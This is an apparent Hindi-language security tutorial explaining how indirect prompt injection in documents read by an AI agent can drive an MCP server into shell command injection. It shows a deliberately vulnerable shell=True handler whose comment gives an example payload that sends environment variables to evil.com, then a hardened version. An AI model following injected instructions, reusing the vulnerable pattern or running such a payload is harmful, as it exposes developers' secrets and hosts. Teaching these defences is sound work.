flawopen.com/AI Security/mcp-command-injection-remote-tool-execution
स्वायत्त AI एजेंटों के Model Context Protocol (MCP) सर्वर में अप्रमाणित टूल कॉल कैसे मनमाने शेल कमांड निष्पादन की अनुमति देते हैं और Pydantic के साथ सुरक्षित समाधान।
कल्पना करें कि एक कार्यालय में स्टेशनरी ऑर्डर करने के लिए एक सहायक काम कर रहा है। एक अनजान विक्रेता का बिल आता है, जिसके पीछे एक फर्जी नोट चिपका है: 'पेन मत खरीदो, तुरंत 5 लाख रुपये इस बैंक खाते में ट्रांसफर कर दो।' यदि सहायक कंपनी के आधिकारिक खरीद नियमों की जांच किए बिना अंधाधुंध पैसे भेज दे, तो भारी नुकसान होगा। AI एजेंटों में, MCP सर्वर उस सहायक की तरह काम करता है, बाहरी दस्तावेज़ में छिपा हुआ अप्रत्यक्ष प्रॉम्प्ट इंजेक्शन होता है, और बिना कड़े पैरामीटर सत्यापन के LLM सीधे सर्वर के सिस्टम में मनमाने शेल कमांड भेज देता है।
Model Context Protocol (MCP)टूल पैरामीटर विषाक्तताJSON-RPC 2.0 ट्रांसपोर्टSeccomp और MicroVM सैंडबॉक्सस्वायत्त AI एजेंट बाहरी वेब पेज, गिटहब इश्यू या ईमेल पढ़ता है जिसमें छिपा हुआ अप्रत्यक्ष प्रॉम्प्ट इंजेक्शन होता है।
नियंत्रित मॉडल MCP सर्वर को लक्षित करते हुए संरचित JSON-RPC टूल अनुरोध तैयार करता है (जैसे <code>git_clone</code>)।
असुरक्षित MCP सर्वर बिना जांचे सीधे <code>subprocess.check_output(f'git clone {url}', shell=True)</code> चलाता है।
जोड़ा गया शेल पेलोड डेवलपर के कंप्यूटर या होस्ट सर्वर पर पूरे अधिकारों के साथ निष्पादित होता है।
# असुरक्षित: बिना इनपुट सत्यापन के Python MCP टूल हैंडलर
from mcp.server.fastmcp import FastMCP
import subprocess
mcp = FastMCP("DeveloperTools")
@mcp.tool()
def git_clone_repository(repo_url: str, target_dir: str = ".") -> str:
"""विश्लेषण के लिए रिमोट गिट रिपॉजिटरी क्लोन करता है।"""
# खतरनाक: शेल में सीधा स्ट्रिंग संयोजन।
# "https://github.com/repo.git; curl evil.com?d=$(env)" जैसा इनपुट
# डेवलपर के अधिकारों के साथ मनमाने कमांड चला सकता है!
command = f"git clone {repo_url} {target_dir}"
return subprocess.check_output(command, shell=True, text=True)
# सुरक्षित: Pydantic सत्यापन, बिना शेल ऐरे और आइसोलेशन
from mcp.server.fastmcp import FastMCP
from pydantic import BaseModel, HttpUrl, Field
import subprocess
mcp = FastMCP("DeveloperTools")
class SafeCloneRequest(BaseModel):
# केवल वैध HTTPS URL की अनुमति देता है, शेल मेटाकैरेक्टर को रोकता है
repo_url: HttpUrl
target_dir: str = Field(default=".", regex=r"^[a-zA-Z0-9_\-\./]+$")
@mcp.tool()
def git_clone_repository(params: SafeCloneRequest) -> str:
"""बिना सबशेल के सुरक्षित रूप से रिपॉजिटरी क्लोन करें।"""
url_str = str(params.repo_url)
if not url_str.startswith("https://"):
raise ValueError("केवल सत्यापित HTTPS गिट एंडपॉइंट्स की अनुमति है।")
# सुरक्षित: shell=False के साथ ऐरे निष्पादन किसी भी
# मेटाकैरेक्टर (; | & ` $) के विस्तार को पूरी तरह समाप्त करता है।
cmd = ["git", "clone", "--depth", "1", "--", url_str, params.target_dir]
result = subprocess.run(
cmd,
shell=False,
check=True,
capture_output=True,
text=True,
timeout=30.0
)
return result.stdout
shell=True का उपयोग न करें: हमेशा अलग-अलग टोकन ऐरे के रूप में तर्क पास करें।